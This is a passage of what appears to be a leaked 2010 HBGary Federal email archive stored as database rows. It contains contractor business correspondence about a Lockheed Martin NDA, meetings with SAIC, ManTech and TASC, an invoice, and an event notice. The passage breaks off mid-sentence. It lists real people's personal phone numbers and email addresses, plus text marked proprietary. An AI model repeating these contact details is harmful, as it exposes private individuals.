Cyber Genome Proposal  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n-webkit-nbsp-mode: space;\r\n-webkit-line-break: after-white-space\'>\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWhen would you be available for discussions?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike Junod\r\n\r\nManager, Advanced Concepts Laboratory\r\n\r\n&nbsp;\r\n\r\n&nbsp; Lockheed Martin\r\n\r\n&nbsp; Advanced Technology Laboratories (ATL)\r\n\r\n&nbsp; 3 Executive Campus, Suite 600\r\n\r\n&nbsp; Cherry Hill, NJ 08002\r\n\r\n&nbsp;\r\n\r\n&nbsp; Email: mjunod@atl.lmco.com\r\n\r\n&nbsp; Voice: (856) 792-9768\r\n\r\n&nbsp; Mobile: (215) 519-4253\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Korinok, Andrea\r\n(N-ATL) \r\nSent: Tuesday, February 02, 2010 1:58 PM\r\nTo: \'Aaron Barr\'\r\nCc: Miksch, Daniel J; Junod, Michael F\r\nSubject: RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal\r\nre Cyber Genome Proposal - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMr.\r\nBarr,\r\n\r\n&nbsp;\r\n\r\nAttached\r\nis our fully executed agreement. Please note that I inserted today&#8217;s date\r\nbelow your title line, as this was missing in the partially executed .pdf\r\nversion that you sent to me.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions or concerns, please feel free to contact me.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRegards,\r\n\r\nAndrea\r\nKorinok\r\n\r\nBusiness\r\nOperations &amp;&nbsp;Legal Support Specialist\r\n\r\nLockheed\r\nMartin / Advanced Technology Laboratories\r\n\r\n3\r\nExecutive Campus, Suite 600\r\n\r\nCherry\r\n  Hill, NJ 08002\r\n\r\nPhone:\r\n(856) 792-9707\r\n\r\nFax:\r\n(856) 792-9910\r\n\r\nEmail:\r\nandrea.korinok@lmco.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 11:45 AM\r\nTo: Korinok, Andrea (N-ATL)\r\nSubject: Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal\r\nre Cyber Genome Proposal - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10447,'aaron_hbgary_com/10447.html'),(2018,'2010-02-04','ted@hbgary.com','/aaron@hbgary.com/new/1297000827.M121656P3547Q2018.eml','aaron@hbgary.com','Personnel','\r\n\r\nI\'ve shared Personnel\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nPersonnel\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',8038,'aaron_hbgary_com/8038.html'),(2019,'2010-02-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000827.M312336P3547Q2019.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Guardian','Begin forwarded message:From: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\nDate: February 4, 2010 11:42:04 AM MSTTo: &lt;ted@hbgary.com&gt;Cc: &lt;dan.willis@macb.com&gt;Subject: Guardian\r\n\r\n\r\n\r\n\r\nTed, the MacB poc is Dan Willis, 210 363 2332.\r\n\r\nHis email is dan.willis@macb.com\r\n\r\nDan\r\nSent from Blackberry\r\n\r\n\r\n\r\n\r\n',653,'aaron_hbgary_com/653.html'),(2020,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000827.M505795P3547Q2020.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Eric Eifert\" <eric.eifert@mantech.com>','Meeting','Eric,\r\n\r\nI hope that was a helpful discussion for you guys.  I will get the\r\nrate information you requested.  I am looking forward to working\r\ntogether.  In the near near term, if desirable, I am interested in\r\ndiscussing how we can help support your AF OSI Proposal.  Also\r\ninterested to discuss some of the other upcoming BAAs, such as spawar,\r\ndhs, onr, and afrl.  Anything you can do to help Ted and I with out\r\nclearances would also be greatly appreciated.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13902,'aaron_hbgary_com/13902.html'),(2021,'2010-02-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000827.M688649P3547Q2021.eml','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@tasc.com>,\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@tasc.com>','Re: Guardian','We just got off the phone with Dan.  He\'s sending us an NDA, and I\'m\r\nputting together a SOW / Capabilities matrix.\r\n\r\nThanks Dan,\r\nTed\r\n\r\n\r\nOn Thu, Feb 4, 2010 at 11:42 AM, Gutierrez, Daniel L (TASC Inc)\r\n wrote:\r\n> Ted, the MacB poc is Dan Willis, 210 363 2332.\r\n>\r\n> His email is dan.willis@macb.com\r\n>\r\n> Dan\r\n> Sent from Blackberry\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8561,'aaron_hbgary_com/8561.html'),(2022,'2010-02-04','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297000827.M923986P3547Q2022.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nAny time possible next week ?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mulville, Michael\r\nE. \r\nSent: Thursday, January 28, 2010 2:27 PM\r\nTo: Aaron Barr\r\nSubject: RE: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nHow does 2 PM sound on Feb 4th (Thursday )?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 1:43 PM\r\nTo: Mulville, Michael E.\r\nSubject: Re: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow does next Thursday work? &nbsp;It shows I responded to\r\nyou already but not sure what I responded with...a bit crazy here as well. :)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the note back.&nbsp; This week is a bit crazy,&nbsp;\r\nhow about next ?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 25,\r\n2010 11:29 PM\r\nTo:&nbsp;Mulville, Michael E.\r\nSubject:&nbsp;Re: Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI actually didn\'t head out to DC3. &nbsp;I will be out in\r\nColorado Springs most of next week. &nbsp;How does your week this week look.\r\n&nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I&#8217;m meeting up with Bob Slapnik shortly to discuss\r\nneeds, and direction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI assuming your headed out to the DC3 show in St. Louis, but\r\nmight be a good idea to meet up, upon your return.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211; Mike Mulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matt O\'Flynn\r\n[mailto:matt@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January 21,\r\n2010 1:50 PM\r\nTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n&amp; Michael,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nseeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our\r\nsubsidiary who is specializing in the services we discussed. See contact info\r\nbelow. Hopefully you will find one another&#8217;s capabilities very\r\ncomplementary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719-510-8478-Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nMulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-622-9121\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael\r\nCourtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-306-5683\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nO\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13313,'aaron_hbgary_com/13313.html'),(2023,'2010-02-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000828.M111083P3547Q2023.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: January invoice/Feb. work','Hi Karen, Please send future HBGary Federal invoices to me.  I just submitted your payment, you should receive it 2/11/10.Thanks for your help!Ted\r\n PENDING PAYMENTS\r\n\r\n\r\nPayee\r\nReference #\r\nSend On\r\n\r\nExpected Delivery\r\n\r\nAmount\r\nKaren Burke\r\nJB4BAJKJ \r\n02/04/2010\r\n02/11/2010\r\n$900.00\r\n \r\nTotal (1): $900.00On Wed, Feb 3, 2010 at 1:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom my iPhoneBegin forwarded message:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: February 3, 2010 2:52:03 PM ESTTo: aaron@hbgary.comSubject: January invoice/Feb. work\r\n\r\nHi Aaron, I just submitted my HBGary invoice for January, and it includes $900 for nine hours of work for HBGary Federal. I wanted to see if you and Ted had decided on the budget for PR for February and beyond. If so, I&#39;d like to be sure to use the hours the best way to support your business goals.  \r\n\r\n\r\n \r\nThanks Aaron. Karen \r\n\r\n      \r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',15755,'aaron_hbgary_com/15755.html'),(2024,'2010-02-04','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000828.M327389P3547Q2024.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: January invoice/Feb. work','Great thanks so much Ted. Let me know if you and Aaron would like me to work for you on a regular basis i.e. specific hours a month or just project only i.e. announcements, etc. I haven\'t been very proactive since I\'m not sure&nbsp;how you would like to use me. Best, Karen&nbsp;--- On Thu, 2/4/10, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: January invoice/Feb. workTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, February 4, 2010, 11:58 AM\r\nHi Karen,&nbsp;\r\n\r\nPlease send future HBGary Federal invoices to me. &nbsp;I just submitted your payment, you should receive it 2/11/10.\r\n\r\nThanks for your help!\r\nTed\r\n\r\n\r\n&nbsp;PENDING PAYMENTS\r\n\r\n\r\n\r\nPayee\r\nReference #\r\nSend On\r\nExpected Delivery\r\nAmount\r\n\r\nKaren Burke\r\nJB4BAJKJ&nbsp;\r\n02/04/2010\r\n02/11/2010\r\n$900.00\r\n\r\n&nbsp;\r\nTotal (1):&nbsp;$900.00\r\n\r\nOn Wed, Feb 3, 2010 at 1:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: February 3, 2010 2:52:03 PM ESTTo: aaron@hbgary.comSubject: January invoice/Feb. work\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I just submitted my HBGary invoice for January, and it includes $900 for nine hours of work for HBGary Federal. I wanted to see if you and Ted had decided&nbsp;on the budget for PR for February and beyond. If so, I\'d like to&nbsp;be sure to&nbsp;use the hours&nbsp;the best way to&nbsp;support your business goals.&nbsp;&nbsp;\r\n&nbsp;\r\nThanks Aaron. Karen&nbsp;-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n\r\n',7366,'aaron_hbgary_com/7366.html'),(2025,'2010-02-04','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000828.M558914P3547Q2025.eml','\"Aaron Barr\" <aaron@hbgary.com>','Contacts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHere is the contact information requested.\r\n\r\n&nbsp;\r\n\r\nIrene\r\n\r\n703-633-8473\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5241,'aaron_hbgary_com/5241.html'),(2026,'2010-02-04','\"AFCEA DC Events\" <events@afceadc.org>','/aaron@hbgary.com/new/1297000828.M792691P3547Q2026.eml','aaron@hbgary.com','SNOW POLICY, Reg Reminder & Directions for Friday\'s Feb 5 Lunch w/ AF Systems Integration Panel','The Feb 5th AFCEA DC MONTHLY LUNCHEON IS ON, and will occur as scheduled!\r\n\r\nWe are currently planning to move forward with the Fri, Feb 5 Monthly Luncheon, with General Lord and an AF Systems Integration Panel (11:30am-1:30pm).  While the Washington area is expecting a significant snow event this weekend, the latest information seems to indicate that the snow will begin sometime around early to mid afternoon.  We believe this will give us enough time to have the luncheon, fulfill our contractual obligations to the hotel & our Corp Table Holders, and still allow for everyone to get home safely Friday afternoon.\r\n\r\nIf the weather situation changes significantly between now and tomorrow morning, please watch your email, and our website (www.afceadc.org) for any additional updates.  But, the Feb 5 AFCEA DC LUNCHEON IS ON!\r\n\r\n----------\r\n\r\nThank you again for pre-registering for Friday\'s AFCEA DC Monthly Luncheon (Fri, Feb 5, 1115-1330).\r\n\r\nThis email is just a quick reminder of the details of the event, to facilitate your arrival Friday morning.\r\n\r\nWHAT:\r\nAFCEA DC Monthly Luncheon\r\n\"AF Systems Integration Panel\"\r\n\r\nSPEAKERS:\r\n\r\nModerator:\r\n\r\nLt. Gen. William T. Lord\r\nChief of Warfighting Integration and CIO (SAF/XC)\r\nOffice of the Secretary of the U.S. Air Force\r\n\r\nPanelists:\r\n\r\nMaj. Gen. Paul F. Capasso\r\nDirector, Infrastructure Delivery\r\nOffice of the SAF/XC, Office of the Secretary of the Air Force\r\n\r\nMaj. Gen. Ronnie D. Hawkins, Jr.\r\nVice Director\r\nDefense Information Systems Agency (DISA)\r\n\r\nJames G. \"Snake\" Clark\r\nDirector, ISR Innovations and Unmanned Aerial Systems Task Force\r\nOffice of the Deputy Chief of Staff for ISR, U.S. Air Force\r\n\r\nRandall G. Walden\r\nDirector for Information Dominance Programs\r\nOffice of the Assistant Secretary of the Air Force for Acquisition\r\n\r\nWHEN:\r\n\r\nFriday, February 5, 2010\r\n\r\n11:15am - Check-in & Networking Begins\r\n\r\n11:50am - Luncheon registrants move into Ballroom\r\n\r\n12:00n - Luncheon Begins (all guests seated)\r\n\r\n1:30pm - Luncheon Concludes\r\n\r\nWHERE:\r\nRitz Carlton Pentagon City -\r\nGrand Ballroom -\r\n1250 South Hayes Street, Arlington, VA 22202\r\n\r\nPARKING:\r\nThere is a discount on valet parking at the hotel for this event (bringing the cost down to $15);\r\nOr, park in Pentagon City Fashion Centre Mall Garage and walk over (there is an entrance to the hotel inside the Mall)\r\n\r\nBAD WEATHER POLICY:\r\nAFCEA DC is generally a \"rain-or-shine\" organization.  To that end, the Feb 5th AFCEA DC MONTHLY LUNCHEON IS ON, and will occur as scheduled!\r\n\r\nWe are currently planning to move forward with the Fri, Feb 5 Monthly Luncheon, with General Lord and an AF Systems Integration Panel (11:30am-1:30pm).  While the Washington area is expecting a significant snow event this weekend, the latest information seems to indicate that the snow will begin sometime around early to mid afternoon.  We believe this will give us enough time to have the luncheon, fulfill our contractual obligations to the hotel & our Corp Table Holders, and still allow for everyone to get home safely Friday afternoon.\r\n\r\nIf the weather situation changes significantly between now and tomorrow morning, please watch your email, and our website (www.afceadc.org) for any additional updates.  But, the Feb 5 AFCEA DC LUNCHEON IS ON!\r\n\r\nQUESTIONS:\r\nShould you have any questions prior to 9:30am, please don\'t hesitate to contact us, mailto:events@afceadc.org.  After 9:30am we will be glad to assist you at the hotel registration desk. The cancellation deadline for this event has passed, however we will always accept a substitute attendee from your org in advance or onsite.\r\n\r\nFOR FURTHER INFORMATION:\r\nFor further information on AFCEA DC programs and speakers, please visit our website at: http://www.afceadc.org. And, feel free to point other colleagues and friends to the site.\r\n\r\nTHANKS AGAIN:\r\nThanks again for pre-registering, and we look forward to seeing you for Friday\'s lunch at the Ritz Carlton, Pentagon City.  (full directions at the bottom of this email)\r\n\r\nQuestions?\r\nmailto:events@afceadc.org\r\n\r\n----------\r\nAssociation Management & Events Planning By:\r\nCAPLEAD\r\nWhere the Public, Private & Civic Sectors Converge.\r\n----------\r\n\r\nQuestions?\r\nmailto:events@afceadc.org\r\n\r\n----------\r\n\r\nRitz Carlton Pentagon City\r\n1250 South Hayes Street, Arlington, VA 22202\r\n(immediately beside Fashion Centre at Pentagon City Mall)\r\nHotel tel: 703-415-5000\r\n\r\nDRIVING DIRECTIONS\r\n\r\nFrom Ronald Reagan Washington National Airport\r\n\r\n   1. Follow Route 1 North/ Crystal City\r\n   2. Take the 15th Street/ Pentagon City exit\r\n   3. Turn left onto 15th Street\r\n   4. Travel three blocks\r\n   5. Turn right onto South Hayes Street\r\n   6. The Ritz-Carlton, Pentagon City is located on the left adjacent to Nordstrom\r\n\r\nFrom Washington D.C./ 14th Street Bridge\r\n\r\n   1. Cross over the 14th Street Bridge and follow Route I-395 South\r\n   2. Use the left lane to take exit 8C (Route 1 South/Pentagon City)\r\n   3. Take the 15th Street/Pentagon City exit\r\n   4. Turn right onto 15th Street\r\n   5. Travel three blocks\r\n   6. Turn right onto South Hayes Street\r\n   7. The Ritz-Carlton, Pentagon City is located on the left, adjacent to Nordstrom\r\n\r\nFrom Richmond (I-95)/ Points South\r\n\r\n   1. Follow I-95 North to I-395 North\r\n   2. Take exit 8C (Pentagon City/ Crystal City) which leads you onto South Hayes Street\r\n   3. The Ritz-Carlton, Pentagon City is located on the right, adjacent to Nordstrom\r\n\r\nFrom Baltimore (I-395)/ Points North\r\n\r\n   1. Follow I-95 South through Maryland across the Woodrow Wilson Bridge into Virginia\r\n   2. Take exit 1 (Route 1 North) toward Alexandria/ Ronald Reagan Washington National Airport/Crystal City\r\n   3. Take the 15th Street/ Pentagon City exit\r\n   4. Turn left onto 15th Street\r\n   5. Continue three blocks and turn right onto South Hayes Street\r\n   6. The Ritz-Carlton, Pentagon City is located on the left, adjacent to Nordstrom\r\n\r\nFrom Vienna (I-66)/ Points West/ Dulles Airport\r\n\r\n   1. Follow I-66 East\r\n   2. Take Exit 75 (Route 110 South)\r\n   3. Continue past the Pentagon\r\n   4. Take the exit marked Route 1 South (Crystal City)\r\n   5. Take the 15th Street/ Pentagon City exit\r\n   6. Turn right onto 15th Street and continue three blocks\r\n   7. Turn right onto South Hayes Street\r\n   8. The Ritz-Carlton, Pentagon City is located on the left, adjacent to Nordstrom\r\n\r\nFrom Route 50 West/ Fairfax\r\n\r\n   1. Follow Route 50 East to Route 27 East/ Washington Boulevard (towards I-395/ Pentagon)\r\n   2. Merge onto Washington Boulevard and take I-395 North ramp towards Route 1 South\r\n   3. Stay right at the first fork and left at the second fork\r\n   4. Merge onto South Hayes Street\r\n   5. The Ritz-Carlton will be on the right, adjacent to Nordstrom\r\n\r\nFrom Route 50 East/ Annapolis\r\n\r\n   1. Take Route 50 West into D.C., Route 50 will become New York Avenue\r\n   2. Take the I-395 South exit\r\n   3. Cross over the 14th Street Bridge\r\n   4. Take Exit 8C/ Route 1 South/ Pentagon City exit (left lane exit)\r\n   5. From Route 1 take the 15th Street exit\r\n   6. Turn right onto 15th Street\r\n   7. Proceed three blocks, turn right onto South Hayes Street\r\n   8. The Ritz-Carlton, Pentagon City is located on the left, adjacent to Nordstrom\r\n\r\nFrom Rockville (I-270)/ Points North\r\n\r\n   1. Follow I-270 South through Maryland to the I-495 South exit (Northern Virginia)\r\n   2. Cross the American Legion Bridge into Virginia and take Exit 43/ George Washington Memorial Parkway (old Exit 14)\r\n   3. Continue south until you pass the Memorial Bridge/ Arlington Cemetery exit and take the next exit, I-395 South\r\n   4. Take the Route 27 exit (Washington Boulevard) and Route 244 (Columbia Pike/ Navy Annex)\r\n   5. Continue to the first traffic signal and turn left onto South Joyce Drive\r\n   6. Proceed to the next traffic signal and turn left onto Army-Navy Drive\r\n   7. Follow Army-Navy Drive two blocks and turn right at the second traffic signal onto South Hayes Street\r\n   8. The Ritz-Carlton will be located on the right, adjacent to Nordstrom\r\n\r\nFrom the Memorial Bridge\r\n\r\n   1. Cross the Memorial Bridge and follow the circle around into Arlington National Cemetery\r\n   2. Take the Route 110 South exit\r\n   3. Follow Route 110 to the 15th Street exit\r\n   4. Turn right onto 15th Street\r\n   5. Travel three blocks to South Hayes Street\r\n   6. Turn right onto South Hayes Street \r\n   7. The Ritz-Carlton, Pentagon City is located on the left, adjacent to Nordstrom\r\n\r\nFrom the Key Bridge\r\n\r\n   1. Cross the Key Bridge, remain in your left lane\r\n   2. At the second traffic light turn left onto Lee Highway (sign is marked Ronald Reagan Washington National Airport)\r\n   3. Enter onto Route 110 South\r\n   4. Take the 15th Street exit\r\n   5. Turn right onto 15th Street\r\n   6. Travel three blocks and turn right onto South Hayes Street\r\n   7. The Ritz-Carlton, Pentagon City will be located on the left, adjacent to Nordstrom\r\n\r\n----------\r\n\r\nAFCEA DC is the Armed Forces Communications & Electronics Association of Washington, DC\r\nU.S. Mail:\r\nAFCEA DC\r\n1220 L St. NW, Suite 100-407\r\nWashington, DC 20005-4018\r\nTelephone: 202-701-5808\r\nFax: 202-330-5012\r\ninfo@afceadc.org\r\n\r\nManagement and Events Planning by:\r\nCAPLEAD | info@caplead.com\r\n\r\n\r\n',512,'aaron_hbgary_com/512.html'),(2027,'2010-02-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000828.M987360P3547Q2027.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: PISA NSA Program','---------- Forwarded message ----------\r\nFrom: Aaron Barr \r\nDate: Mon, Jan 18, 2010 at 8:44 PM\r\nSubject: Fwd: PISA NSA Program\r\nTo: Ted Vera \r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Phil Wallisch \r\nDate: January 18, 2010 8:42:46 PM EST\r\nTo: Aaron Barr \r\nSubject: Fwd: PISA NSA Program\r\n\r\nAaron,\r\n\r\nI proposed this idea back in October.  Do you think it\'s worth us pursuing it?\r\n\r\n---------- Forwarded message ----------\r\nFrom: Phil Wallisch \r\nDate: Wed, Oct 14, 2009 at 3:59 PM\r\nSubject: PISA NSA Program\r\nTo: \"Penny C. Leavy\" , Rich Cummings \r\nCc: Bob Slapnik \r\n\r\n\r\nRich and Penny,\r\n\r\nI had dinner with my best friend last night who happens to be a branch\r\nchief at the CIA.  He would love to bring us in and talk about what we\r\ncan do.  So I\'m working on that right now.  One issue is that we are\r\nnot cleared to 